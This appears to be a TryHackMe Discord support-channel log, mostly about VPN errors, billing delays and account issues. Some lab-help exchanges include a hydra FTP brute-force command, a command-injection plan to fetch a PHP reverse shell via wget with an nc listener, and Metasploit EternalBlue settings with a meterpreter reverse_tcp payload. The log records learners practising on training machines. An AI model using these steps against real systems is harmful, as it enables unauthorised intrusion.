Hello guys, good day. Pls I need to get through to Lilly, head of marketing
Can you be of help?

[bronze vale]

May I ask what it’s pertaining to?

[timber magnet]

Kindly accept fr

[wise gale]

how do you earn the wireshark badge? i have completed all the wireshark rooms in the SOC path. what am I missing? thanks 😉

[tawdry orbit]

Feel free to send a DM. 🙂

[bronze vale]

Already passed it on

[timber magnet]

Thank you buddy 🫶

[scenic torrent]

Gave +1 Rep to @bronze vale

[timber magnet]

I guess it’s been handled, I await Lilly’s response but hey, I still sent a fr

[naive dust]

anyone know what to do if your streak gets reset before the day is over? any help is much appreichated 🙂

[jagged lava]

Am new here and am happy to subscribe this 🙂

Question; I just go to 'Dashboard' and take the challange one by one but in the footer, they say, "this room are free" (I have 'study' in 4 days now)

Should i just continue, and paid rooms will come later on
Or
I need to select room other places on the page?

[tribal burrow]

the big amount of thm can be done without subscription. if you pay for sub there is more rooms to do.

[jagged lava]

Okay, thanks - So i should just continue from Dashboard?

[tribal burrow]

if you go to Learn tab

there is path that you can follow to go with the flow in premade order to learn

[wise gale]

I paid for subscription. Discount if you have student email. Worth the subscription. Lot of extra rooms

[weary spindle]

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[weary spindle]

Contact support. 🙂

[distant ether]

i contacted support still waiting 😦

I regret paying

no support

integration problem between 2 software and no one here to help me :S

[weary spindle]

Support is going through a 3-4 day response time.

[bronze vale]

How long have you been waiting?

[distant ether]

about 2 days

[bronze vale]

We’re on a 3-4 day wait time 🙂

[distant ether]

oh yeahh 😄

wonderfull news

[somber musk]

Hey, I opened my thm after a long time
and my account was banned
i didnt do anything wrong
please help me out

@bronze vale

[bronze vale]

Username? @somber musk

[surreal kite]

I've sent the email on Tuesday, but well, the support wait at that time was 5-7 days

[bronze vale]

DM me your email Address please

[somber musk]

I am sorry, it was my test account

I was testing for any flaws in the new referral feature

My original one is safe

Sorry for the waste of your time

[bronze vale]

You’re aware that if you’re banned on one account.. you’re banned on them all right?

[somber musk]

Sir, my other one is working fine

[bronze vale]

I have your username for your main account, please send your test account’s username or I will be forced to ban you.

[somber musk]

sure sir

should I dm you?

[bronze vale]

Sure

[white nimbus]

Can someone from support help me get my account login back please?

[weary spindle]

Have you contacted via E-mail?

[white nimbus]

Hi Yes many times but never get a reply from them.

[weary spindle]

When was the last time you E-mailed?

[white nimbus]

the first time was 1st of June then 4 more times in that month and I have just sent another in the past 30min.

[weary spindle]

There is a current 3-4 day wait time, if you're not contacted before then, or support see this post, then wait patiently for a little longer please.

[white nimbus]

Since I have be waiting from the 1st of june I have been patiently.

[bronze vale]

DM me your email address please

[mighty musk]

Hello everyone, today i want to pratice my skills but when i start a machine, i cant pratice on the ip who thm gives me... idk why but that is the same for all challs

[weary spindle]

Are you using your OpenVPN gui on your Windows host?

[bronze vale]

#site-support message

[mighty musk]

Thanks u so much! Too bad it doesn't support windows anymore but thanks to that, I will add a linux's VM and improve himself on thm

[scenic torrent]

Gave +1 Rep to @bronze vale

[marble breach]

Done!

[minor remnant]

How can In copy text and files from my attack box to host machine. PS: Clipboard doesn't work

[plush bay]

https://media.discordapp.net/attachments/692456966802374687/921063860318924800/clipboard.gif

[rustic vine]

There is a little arrow in-between the windows that allows you to paste into and then it will be accesable in the attackbox. Or you can hit the button to make the Attack box full screen which will launch a seperate window for it then copy/paste should work like normal

[plush bay]

that does not work??

[minor remnant]

I have tried that. Gone full screen too. Still doesn't work

[weary spindle]

If you give the browser permission...

[minor remnant]

It doesn't.

[plush bay]

hmm weird

[minor remnant]

I have also given the browser permission to my clipboard. Just verified now. Still Doesn't work

[crystal marlin]

You mean to copy an entire file? Or just text?

[minor remnant]

Just text.

I am on the Threat Intelligence Tools lab and they didn't have to option to download lab files too.

[rustic vine]

When you try to paste into the attack box terminal are you using ctrl+shift+v ?

[minor remnant]

I am not trying to paste on the terminal. I am trying to copy text from the attackbox to my host pc.

[rustic vine]

Oh then no idea why the clipboard that Shadow showed a gif of should populate with the info when you copy out of an attack box

[plush bay]

aaah

that specific room is not the attackbox

and the files on said target machine that opens in split view also uses some malware samples

so do not try and download said files onto your own machine

[rustic vine]

Ahh good catch Shadow

[minor remnant]

Then how am I supposed to get malware info as the machine doesn't connect to the internet? I am supposed to inspect the emails with phish tools but I am unable to 😦

[plush bay]

step one.... read the 3-5 lines above the questions in the phishtool task

Scenario:
You are a SOC Analyst and have been tasked to analyse a suspicious email Email1.eml. With the skills learnt on this task and using Thunderbird, answer the questions below.
for those wondering what said lines say

the important part being using thunderbird

[sullen oriole]

Hi I'm doing "Net Sec Challenge" and I can't connect to FTP server. Any issue with the server?

[weary spindle]

Attackbox or VM?

[sullen oriole]

VM. Should I do it withi Attackbox?

[weary spindle]

Are you on the vpn?

[sullen oriole]

yes

[weary spindle]

what's your target ip?

[sullen oriole]

10.10.248.11

[weary spindle]

Did you nmap the machine at all?

[sullen oriole]

yeah and I know the ftp port is 10**

[weary spindle]

Are you declaring it on the ftp command?

[sullen oriole]

yes

it's strange coz hydra is giving me some trouble too

[weary spindle]

Can you send a screenshot?

I can connect to the FTP fine.

[sullen oriole]

I'm trying hydra -L usersftp.txt -P /usr/share/wordlists/rockyou.txt -vV ftp://10.10.165.20:1021

[weary spindle]

1021?

[weary spindle]

Why 1021?

[sullen oriole]

I discovered that port with nmap, I think

[weary spindle]

..Are you sure?

[weary spindle]

I think that's where your problems are coming from...

[sullen oriole]

let me check it out

[sullen oriole]

sorry 10021

[weary spindle]

Does it work now when you declare the correct port?

(if you're in a vm, you might not have rockyou.txt in the same location as the hint)

[sullen oriole]

Yes it does thanks

[scenic torrent]

Gave +1 Rep to @weary spindle

[oblique vapor]

Is there a way to change the name on the certificate from my username to my full name? (I accidentally chose the username and now when I changed it to my full name the certificate does not get updated sadly)

sorry if i am in the wrong channel for these kind of questions :/

[weary spindle]

You can't change the name on a certificate after it's generated.

You'll need to either use paint, or create a whole new account

[oblique vapor]

oh ok thanks for the answer :/ and for some reason the verification here does not work for me i dmed the bot with my token but yh...

[weary spindle]

The discord bot will have no effect on your certificate.

Unless you're trying to upload it here.

[oblique vapor]

yes I know I just wanted to verify my account here its another problem besides the cert 😄

[weary spindle]

Did you use

!verify *discord token*

[oblique vapor]

yes I did

[weary spindle]

Did you get an error message?

[oblique vapor]

nope i didnt get any answer thats why I am kinda confused

[weary spindle]

Are your dm's open?

[oblique vapor]

yes

[weary spindle]

@zealous yoke

Is the bot stuck again?

(Ping worked in bot commands)

[weary spindle]

I've pinged staff, there's nothing I can do, the verification should be instant.

[oblique vapor]

ok ty anyways 😄 maybe it fixes itself idk

[weary spindle]

And due to my red teamer role, the bot no longer replies to me.

[zealous yoke]

I've restarted it:)
should be good to go if you try again @oblique vapor

[weary spindle]

#room-ideas

[solid citrus]

hey guys im a bit new to all of this and i'm running into an issue connecting to openvpn. I went through the tutorial on downloading and installing it that was linked in the Linux Fundamentals Part 1 room. The install and setup seemed to go fine but i am stuck on connecting. after looking at the log file it seems im getting this error but I have no idea how to fix it.

[Jul 24, 2023, 14:02:18] Connected via TUN_WIN
⏎[Jul 24, 2023, 14:02:18] Per-Key Data Limit: 48000000/48000000
⏎[Jul 24, 2023, 14:02:18] Client exception in transport_recv: crypto_alg: BF-CBC: bad cipher for data channel use
⏎[Jul 24, 2023, 14:02:18] Client terminated, restarting in 2000 ms...
⏎[Jul 24, 2023, 14:02:18] SetupClient: signaling tun destroy event

any help would be appreciated

[weary spindle]

You can't openvpn in to Linux Fundemental 1.

[solid citrus]

hmm when i hit the question mark button after starting the machine it was under the use a vpn option, im assuming its just for later tasks then?

[weary spindle]

Different rooms.

However Linux Fundemental 1 has a split screen machine

[naive dust]

Hello I have a question

[plush bay]

ask away

[naive dust]

I figured out I actually need a somewhat knowledge of link and how it works

Hey guys I need help, so I'm doing Command injection and I already got the flag but I want to do a reverse shell.

I figured that if I put a semicolon first in the input box, I can run commands like whoami, hostname, etc.

so now I'm trying to do the php reverse shell that I downloaded from pentestmonkey from github

I change the rev shell file to my IP, and port to 4444, I start listening using "nc -lvp 4444", and I start a server using "sudo python3 -m http.server"

But now I'm stuck, in previous rooms I accessed the php file using the url "index.php?file=http://........"
now that doesn't work anymore, so I tried typing ";wget "http://......" in the input box, but that doesn't work either.

Any ideas?

[plush bay]

remote file inclusion and by extension getting shells that way is nearly never a thingy

if you can run hostname and whoami try something like a bash or python reverse shell

i.e if you got command execution a php reverse shell is not the way forward

generally

[naive dust]

Oh so should i get a premade file similar to the php reverse shell from pentestmonkey?

but for python this time

[plush bay]

facedesk

no not a file

a command

see https://revshells.com for examples

[naive dust]

i downloaded revshellgen

is that okay?

[plush bay]

doubt it

just run a command to spawn a shell

can't really give them here as examples without possibly getting yelled at

[naive dust]

can you please DM them?

[plush bay]

no need.. the commands are listed on revshells.com above

[naive dust]

okay thank you

[plush bay]

it even has easy to change ip and port parts

and what the listerner command would be

[naive dust]

Yayy I'm in! Thanks!

[scenic torrent]

Gave +1 Rep to @plush bay

[plush bay]

no problem

[arctic iris]

Hello, quick question about subscriptions. Is there any way to purchase a subscription code at a student discount? I'm assuming no, since the system doesn't know who will be redeeming the code at the time it is purchased, but just wanted to check. Thanks!

[weary spindle]

You're correct, you can't purchase vouchers for subscriptions.

[visual night]

I purchased a premium membership, trying 3 times to pay for it. All 3 transactions came out of my bank account and I still don’t have access to premium. I contacted support 7 days ago with absolutely no response. I’m beyond irritated and want this fixed. Does anyone here work directly for Tryhackme?

[weary spindle]

There is site staff, but account issues can only be spoken about over E-mail.

Response time is 3-4 day(s), It's unusual for them to miss out.

Send another E-mail today, but not more than once in 7 days, I'm sure someone from support will see this and ask you to DM them.

[bronze vale]

DM me your email address

[bronze vale]

We're on 7d right now, I would keep telling people we're 5-7 days because of weekends and all that

[weary spindle]

No probemo.

[fervent spire]

Yo Someone please help I'm in the Brainstorm ctf room is it safe to run the exe file on my orginal machine or do i have to set up a test machine

[weary spindle]

Immunity debugger?

[vale musk]

My THM vpn on Windows worked earlier today but at some point it stopped working, no connection to any 10.10.x IP's, tried multiple different boxes. Also I see a keepalive_timeout every 2 minutes in my openvpn client log when connected to either EU-VIP-1 or EU-VIP-2 endpoints. Other non-THM VPN connections in my OpenVPN client work fine. Rebooted windows, no change.

https://tryhackme.com/access says all is fine, green checkboxes

[tribal burrow]

can you curl https://10.10.10.10/whoami and get respond ?

[vale musk]

Nope, it can't open a connection on TCP443 at all it seems

[tribal burrow]

also ping -c 3 10.10.10.10 do you have lost packets or ?

[vale musk]

yes nothing is going through, all time out

probably also why the keepalives of the vpn connection itself also timeout

[tribal burrow]

no other vpn connection active ? meaning no vpn stacking

[vale musk]

nop, only THM

network unchanged as well compared to when it was working earlier today

[tribal burrow]

try regenerate vpn file?

[vale musk]

tried that, no change

(just did)

[weary spindle]

It's might be the gui error

[vale musk]

Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.1.1     192.168.1.13     25
        10.10.0.0      255.255.0.0        10.11.0.1      10.11.47.51   1001
        10.11.0.0      255.255.0.0         On-link       10.11.47.51    257
      10.11.47.51  255.255.255.255         On-link       10.11.47.51    257
    10.11.255.255  255.255.255.255         On-link       10.11.47.51    257

[tribal burrow]

if you have some linux/kali in VM, try from there

[vale musk]

routes are being added

will try it in a vm

[tribal burrow]

might be just "the windows" thing. if works from VM

[vale musk]

feels like some adaptive firewall thingy decided to drop all traffic for the vpn at some point, frustrating

[tribal burrow]

windows =/ hehe

[vale musk]

well vpn to my own box works like a charm, so its probably something specific to the connection method that THM uses for their ovpn profile then 🙂

[weary spindle]

Which country are you in?

[vale musk]

Netherlands

[tribal burrow]

what country flag you have ?

[vale musk]

What do you mean?

[tribal burrow]

sry mi bad. ignore that

i can't tell for windows since im not using it. but as some from nl also i never har issue using linux

[crisp osprey]

Anyone have idea of resolving country flag issue? I have tried many things but not working

[weary spindle]

Windows OpenVPN isn't very good.

[weary spindle]

Are you using your host, or a VM?

[proven nymph]

Hey guys, i cant reach thm machines with VPN on,
1.openvpn session is successfull according to the site.
2.already tried reloading conf file on different servers.
3. routing table seems ok.
i am with vpn on my VM and trying to ssh to the machine on Metasploit: Exploitation msfvenom part, this machine does not reply to ping as well - earlier i was in another room and couldnt nmap a machine that responded to a scan from the attack box.
Thanks to any helpers

[plush bay]

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[plush bay]

try that and see if it finds anything

[proven nymph]

MTU value failed at 1000, aborting MTU check

happens again after reloading another config file

[plush bay]

okay then that is weird

[cloud helm]

Hey Guys, I subscribed for Tryhackme premium but my account isn't activated yet, the money got deducted it's been more than 10days can somebody help ?
Thank You.

Also raised a ticket still no response

[tribal burrow]

email might need 3-4 day tp respond

[weary spindle]

5-7 now, due to the weekend.

[tribal burrow]

fair yea...

[cloud helm]

But I raised it on july 14

[proven nymph]

solved by downgrading from openvpn3 to openvpn

[kind fox]

Hey guys, is there any problem with the subscription page? I'm trying to subscribe but nothing happens on the webpage https://tryhackme.com/why-subscribe

[vale musk]

This was on my windows host, will try a kali vm later when I have time

[weary spindle]

It's not a good idea to have your host on the network.

[tawny kiln]

any chance someone could help me w some issue connecting the enumeratingAD Room?

[plush bay]

yuups

[tawny kiln]

im connected to the vpn just fine, and when i run nslookup thmdc.za.tryhackme.com it resolves to the DC IP as it should

but when i go to http://distributor.za.tryhackme.com/creds to get the credentials for the room keeps telling me connection timed out but internet is still working so its the link

[plush bay]

hmmm

[tawny kiln]

added za.tryhackme.com + IP to /etc/resolve.conf already

so

idk

[plush bay]

is it the first entry or do you have some other dns entry above it???

[tawny kiln]

search za.tryhackme.com nameserver 10.200.68.101

2 more below it

should i try removing the 2 other dns servers i have in there temporarily?

[plush bay]

nah that should be fine then

well can't do much more then recommend trying the vpn script or trying other subnets of the network by leaving and rejoining

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[tawny kiln]

gotcha thank u

[plush bay]

hope you can fix

[kind fox]

is it just for me that the subscription is not working?

[plush bay]

¯_(ツ)_/¯

[strong seal]

I am currently in the "Walking and Application" section of the site, and when I try to access the website listed via the virtual machine, I keep getting a 504 Gateway Time-Out. Am I doing something wrong?

[thick ginkgo]

Make sure you're connected to the vpn if using a local VM.

[strong seal]

Thank you

[weary spindle]

You're accessing the wrong IP

Or is that 405 🤔

[strong seal]

I used the VPN and it worked fine.

[marble horizon]

Hi, may I know if I can clone a machine from a challenge to my local VM? Trying to demo https://tryhackme.com/room/tomghost# for the class

[oak kiln]

Hi,
the tickets for the Red Teaming path won't be provided anymore, right?

[plush bay]

yuups if things work as intended

[oak kiln]

mhh ok, I hope there might be another chance to get the title, or even better a Blue Teamer title in the future 🤩

[storm sun]

I cant join a room, when i press join room i get redirected to a overview of my completed rooms

[storm sun]

can you help me?

[plush bay]

depends on what you need help with

[storm sun]

.

[plush bay]

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[plush bay]

can you then post a screenshot of the process or a gif

[storm sun]

idk how i would even create a gif XD

but ill do

oh what

[plush bay]

the !verify command goes in a direct message/private message to the bot

[storm sun]

i have to dm the bot

[plush bay]

yuups

[storm sun]

shit i dmd you

;-;

dont steal me pls XD

oh damn wrong bot

bruh why is this so hard

lmao

[plush bay]

no worries

[storm sun]

ok so i press here and that takes me here

[plush bay]

hmm weird

[storm sun]

ye

and i need to join the room to play it

[plush bay]

@cold fog any clue why the breaching AD network would redirect to the my rooms page when trying to join it??? ah never mind... @storm sun you need a 7 day streak to join the network unless you are a subscriber

[storm sun]

bruh what...

it doesnt say that anywhere

[plush bay]

on the learn page

if you scroll down to the networks on the learn page it tells you this

[storm sun]

oh

ye i dont have that

i have only today

so i have to wait basically a week then

[plush bay]

yuup

[storm sun]

i wanted to do the new room

but it says i need this room for knowledge

[plush bay]

aaah well the acitve directory basics room might cover enough stuff to get you started for #1133413669288546456

[storm sun]

ok ill just go for it then

and do this when i get the streak

[plush bay]

https://tryhackme.com/room/winadbasics @storm sun

[storm sun]

they should make it more obvious tho

ye i already did that room

[plush bay]

yuup enjoy and happy learning

[storm sun]

thank you!

[plush bay]

shadow is happy in their image spotting to have noticed your streak number and not being a subscriber causing this problem

[storm sun]

XD fr

and also even spotting that you need a streak

and why can i not RDP into the newest room?

nvm ijust had to wait and try again

wait no am i even supposed to RDP into it?

[plush bay]

probably

kinda hard to do any practical learning and hardening without using rdp or ssh

[storm sun]

ok i got it now yes, i just had to wait longer XD

[vale musk]

I'm opening THM in a vanilla kali installation in firefox, and for some pages it partially loads the page and then gets stuck on various 3rd party elements like google analytics, gravatar, etc. Anybody encountered this before? The rest of the site doesn't seem to load at that point so I can't really use THM this way

Waiting for region1.analytics.google.com.... is all it says in the status bar

Tried installing adblocker addon in firefox to see if that helps but it doesn't seem to affect it.

After a few minutes of waiting it seems to timeout on those elements and then suddenly the page appears.

This shows the 2-3min loading time in the network requests list

[coral salmon]

hi so im using openvpn to connect to a machine, but whenever i try to use metasploit, it gives me the error: ```
[-] 10.10.131.248:445 - Rex::ConnectionRefused: The connection was refused by the remote host (10.10.131.248:445).
[*] 10.10.131.248:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.131.248:445 - The target is not vulnerable.

these are my options:

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

---

RHOSTS 10.10.131.248 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.9.96.108 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

---

1 Windows 7

the rhosts ip is set to the ip at the top of the webpage (the remote ip) and my lhosot is set to my vpn ip port 4444 is also available on my machine

PING 10.10.131.248 (10.10.131.248) 56(84) bytes of data.
64 bytes from 10.10.131.248: icmp_seq=1 ttl=63 time=172 ms
64 bytes from 10.10.131.248: icmp_seq=2 ttl=63 time=151 ms
64 bytes from 10.10.131.248: icmp_seq=3 ttl=63 time=259 ms
64 bytes from 10.10.131.248: icmp_seq=4 ttl=63 time=152 ms
64 bytes from 10.10.131.248: icmp_seq=5 ttl=63 time=210 ms

When i ping, it works but in the exploit attempt it refuses.
Also I am in the metasploit intro page

[weary spindle]

Which room are you doing?

[coral salmon]

https://tryhackme.com/room/metasploitintro#

Also my machine is running kali linux if that matters

[marble horizon]

Hi, may I know if I can clone a machine from a challenge to my local VM? Trying to demo https://tryhackme.com/room/tomghost# for the class

[weary spindle]

No, you're not able to clone any of the THM machines.

[weary spindle]

How long ago did you start the machine?

[coral salmon]

like 10min ago

[weary spindle]

Terminate, and restart the machine.

leave it 5-10 minutes until you start trying to exploit the machine.

I wasn't able to do yours, but I booted up a machine and got it.

Just need to wait.

[coral salmon]

still doesnt work

wait am i using the right ip?

is it supposed to be the attackbox ip

if no, which ip

[weary spindle]

RHOST is target.

LHOST is your machine.

So if it's attackbox, ens5.
VM - tun0

RHOST = 10.10.131.28

For me

[coral salmon]

how do i get those values, like just curious what they mean exactly

[weary spindle]

ip a s

[coral salmon]

okay with the machines ip (for me its 10.10.86.113) even ping doesnt work

[weary spindle]

Will show you all your interfaces and their ip.

[carmine fjord]

how can I acces my kali machine if I have premium?

[weary spindle]

There is a drop down menu

[coral salmon]

BRUH, i set lhost to my vpn ip, not to tun0

[weary spindle]

Are you on your own Kali machine?

Or attackbox?

[carmine fjord]

attackbox. I can't acces it in a separate tab for example?

[weary spindle]

#general message

[carmine fjord]

thanks! you think i should change to vm or dual boot with kali?

[weary spindle]

Vm.

[inner parcel]

Hello

I am trying to join this room: https://tryhackme.com/room/breachingad but every time I am redirected to /r/rooms. That way, I am not able to join this room

[zealous yoke]

hey! Thanks for the video - that's super useful. I'll forward this internally

[scenic torrent]

Gave +1 Rep to @inner parcel

[zealous yoke]

Is this with any room or just breachingad?

[inner parcel]

Just breachingad

[zealous yoke]

Ah okay, so taking a look, your streak is "1". You need to have a streak of at least 7 or be subscribed to THM to access networks such as breachingAD. The networks show their entry requirements 🙂

[inner parcel]

Ohhh got it, thank you!

[zealous yoke]

There used to be a pop-up that would say that if you aren't eligible, but it doesn't seem the be displaying anymore. I'll pass that along internally:)

[inner parcel]

Okay. Glad to help

[slow sentinel]

heey

openvpn is giving this error msg WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set. 2023-07-26 14:38:06 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.

i tried to change chipher to data ciphers but didn t work
any solution ?

[marsh magnet]

I take it this is for the TryHackMe openvpn config?

[slow sentinel]

ye

[zealous yoke]

You should be okay at the moment unless there's other output with relevant errors at the end of the terminal. This is just a compatability warning 🙂 If you can access http://10.10.10.10 okay -- you're fine 🙂

[plush bay]

it is up to the room creator to accept and get those added... hence if the room is very old it might not get new writeups/walkthroughs accepted

[wet hound]

I got an email that my payment didnt go through. If I click Pay now, I get "Your order URL has expired. Please try again.". I can't reorder it myself because I was still on the old $10 per month.

[ornate elbow]

Hello guys an girl, I am a new cammer in You're chat, nice to meet you all in this chat, in this chat history I just want to see and learning and try to learn to fix and training with support may skills, I hope we can work together² gether² 😊

[signal breach]

anyone else having connection issues? the vpn keep restarting when I start it and the attack box fails to connect as well

[lone shard]

hello everyone where can i address a challenge concerning streaks please

[halcyon mountain]

Hi there, I have a trouble connecting to the VPN. Ping to the 34.253.19.14 is successful.

[weary spindle]

Which server are you trying to connect to?

[halcyon mountain]

EU-VIP-1 (but I tried other ones as well with the same result)

[bronze vale]

Regenerate your configuration

[halcyon mountain]

I already tried twice, the same result.

[oak kiln]

are there any plans on fixing task 10 of Evading Logging and Monitoring?

[crisp osprey]

Any THM admin , mod here I am having problem in my country flag it's showing wrong flag and I try all methods still showing same

[weary spindle]

Which country does it show?

[stone panther]

I just reinstalled openvpn to the latest version

I cant get this thing to run

2023-07-27 07:37:02 ERROR: Failed to apply push options
2023-07-27 07:37:02 Failed to open tun/tap interface```

apparently I have to add a cipher but I dont know how

@weary spindle

[muted mason]

post your full command

[stone panther]

my command was sudo openvpn file.ovpn

[woeful hedge]

Check the pins in this channel

[muted mason]

also, threes a cours/path/whatever in THM that covers conencting with vpn is three? or am I mistaken?

[stone panther]

You mean ```Please ensure you are not using the OpenVPN GUI or Network Manager.
Use the command-line interface to connect to the OpenVPN service.

If you are on MacOS, you may need to use Homebrew to install OpenVPN; brew install openvpn

If you are on Linux, please use your default package manager. For Ubuntu it is apt, sudo apt install openvpn.``` ? @woeful hedge

[woeful hedge]

No, there is a pin that goes over your issue

[muted mason]

but yeah a quick google or even chat gpt will goive info:

So, the line should look something like this:

--data-ciphers AES-256-CBC:AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305

This tells your OpenVPN client to use AES-256-CBC as well as the other ciphers it was already using, allowing it to connect to servers that use any of these ciphers.```

but the tun issue thats a perms issue. are you sure youre properly suding? maybe reistall openvpn

Honest answer, I feel like youve come here for help without trying to research or fix it first. which isnt the way round you should be doing it

the ping:

 Replace the cipher AES-256-CBC line in your .ovpn config with data-ciphers AES-256-CBC

To do this, you can use the text editor of your choice, or simply type nano filename.ovpn into your terminal.
Make sure not to edit anything else, and save it with the same file name.

Then, re-run the VPN with openvpn filename.ovpn. Let me or any of our community mentors know if these steps have not worked for you and we will troubleshoot further.```

[woeful hedge]

Let's fix the cipher issue first please. Changing too many things at once causes a bigger mess.

[muted mason]

but if the ciipher issue is relating to his version then a resintall would fix it too (once hes verified its a version issue etc..)

the issue is I dont think hes done any research first and jumped straight to asking for help

[stone panther]

ive done research and chat gpt was as useless as you sadly @muted mason

I dont see a config file in my openVPN folder

I found a workaround but I wanna do the pinned thingy

[muted mason]

uselss as me? im ot thew one struggling with openvpn 😉

[woeful hedge]

Please stop pinging, I am in the chat. iirc they have the newest version of Openvpn. Which means reinstalling will get them to the same place.

[muted mason]

my answer (the same as chatgpt) was the same as pinned just 1 changes the config, the other appends to the command xD

[muted mason]

It's called a reply my guy

[bronze vale]

Leon, please stop being rude to community members

[stone panther]

and I cant do neither cuz I cant find the config file @muted mason

what a clown, jesus

[muted mason]

and im the useless one? lol

[woeful hedge]

I am not "your guy". You can reply without the ping

[muted mason]

but when theres a few people speaking need to make sure the right person gets the right message.

[marble breach]

:mute: leonteale#0 has been muted.

[woeful hedge]

When you select reply, there is a little @ symbol over to the right. If you deselect it, it replies to the message but does not ping the user.

[woeful hedge]

I would conduct a query on your favorite search engine for "change openvpn cipher" and read StackOverflow or other forum post say before coming back with further questions. It will help everyone as it will give you a better understanding of what is going on.

[bronze vale]

By the way, we do not tolerate retaliation here.
I don't care who started it, if someone is being rude or aggressive please ping a moderator and wait for them to respond.

Don't bother entertaining them because you will end up being punished equally.

What VPN server are you using @stone panther

[stone panther]

all the posts I found refferenced the ovpn config file which I cant find @woeful hedge

OpenVPN @bronze vale

[bronze vale]

VPN server on the website

https://tryhackme.com/access

[stone panther]

oh yeah I downloaded the one off of thm

but I use openvpn to connect

[bronze vale]

Which server

[woeful hedge]

Which directory did you download it to?

[stone panther]

openVPN? @woeful hedge or the thm vpn file?

I dont know how to get to that window all I see is @bronze vale

[bronze vale]

Head to https://tryhackme.com/access, select the VPN server you want to use, then press the blue regenerate button

Wait 2 minutes, then press download

[woeful hedge]

The client

[bronze vale]

Then re-run the openvpn command, sudo openvpn file.ovpn but make sure you use the downloaded file and not the old openvpn config

[stone panther]

EU-regular-3 it says

[bronze vale]

press the blue regenerate button

[stone panther]

now it works @bronze vale thanks

[scenic torrent]

Gave +1 Rep to @bronze vale

[bronze vale]

Yw:)

[muted mason]

equally? I dont recall duffy being muted for his 2 seperate instances of being very rude.
But I agree with your sentiment 🙂

[boreal swallow]

data-ciphers AES-256-CBC isn't working for me

[muted mason]

what issue or error are you having?

see if we can figure it out

[boreal swallow]

I have tried various edits for this line from the web but to no connection was established

what should I edit the ciphers line to?

[boreal swallow]

I have regenerated link from the website thrice

[muted mason]

I dont suppose you read the last comments above to help that other guy did you? about redownloading the configs etc..? itcase that helped

[boreal swallow]

I read the whole thing but all of it failed

[tribal burrow]

can you post whole pic pls

[boreal swallow]

is this readable?

[tribal burrow]

can you show the whole. even last lines

[weary spindle]

Regen your configuration.

[tribal burrow]

this. but try select another server

[boreal swallow]

ok I will give it a try

[tribal burrow]

and update/upgrade and dist-upgrade os

[boreal swallow]

Everthing is updated to the latest version, I have installed it today all from scratch

this is from EU-Regular-1

[tribal burrow]

this is bit over my knowledge. when some mod or so jumps in will help you

[boreal swallow]

ok thanks btw

[scenic torrent]

Gave +1 Rep to @tribal burrow

[weary spindle]

Which country are you in?

[boreal swallow]

India

I tried IN-Regular-1

[weary spindle]

Is your VM time/date set correctly?

[boreal swallow]

yes you were right the time was set wrong.
I have now changed it
but the error still persists

[weary spindle]

Try deleting all past configs, and Regenerating on emore time.

[boreal swallow]

done!

same error

[weary spindle]

Do you have a VPN active?

Are you on your home network?

[boreal swallow]

I on my institute network

[weary spindle]

That could be why.

They might be blocking port 1194.

[boreal swallow]

they have recently changed the firewall settings

[weary spindle]

You could always ask them to unblock port 1194, explain why and show them the website.

They might unblock

[boreal swallow]

now I get it, the firewall is blocking me from even downloading apps for MS Store

[weary spindle]

Bingo 😄

[boreal swallow]

I will ask them to change it, thank you sir
I will contact you again if the issue persists after they change the settings

[naive dust]

Is there a way to make attackbox not unusably slow? I get that I can instead use a vm and openvpn, but THM says attackbox is recommended yet it lags like I’m connecting to a server on a different planet.

[weary spindle]

Are you a free user? they have slower machines.

I've never experienced lag with the Attackbox

[naive dust]

Nope. Subscribed this morning.

9 seconds for terminal to open from the time of clicking. Another 11 seconds before being able to input text.

Typed in SSH command and the whole thing didn’t appear until 21 seconds after typing.

[crisp osprey]

United Kingdom but I am from India

Anybody have idea how to solve the flag issue I tried many things but not worth it

[tribal burrow]

if you turn off all vpn. then click
http://tryhackme.com/api/user/update-timezone

[crisp osprey]

I already try this and I am not using any vpn sometimes I used in m VM but now not using

[tribal burrow]

hmm... without all vpn try check on some online site you region to check will it show correct one

[crisp osprey]

It's correct

[tribal burrow]

try logout of thm and clear cache and relogin

[crisp osprey]

Already try this

[tribal burrow]

hmm... did you try login on host os to thm and then click the link ?

[crisp osprey]

I even raised a ticket but it's been 6 days no reply from THM team

[weary spindle]

Reply is currently 6-8 days

[tribal burrow]

oh... might need some time. lots of work from they side

[crisp osprey]

Yes i am not using VM now am on my system

[crisp osprey]

But I am facing this issue I tried all things

[tribal burrow]

then i rly no idea. if is not something of high importance wait for a day or two more

[fast robin]

guys im trying to connect to a machine using an attackbox and it gives the error
permission denied(publickey)
i've even tried using openvpn on different machines of my own and it still gives the same error.
idk if this is the corret channel to ask for this question

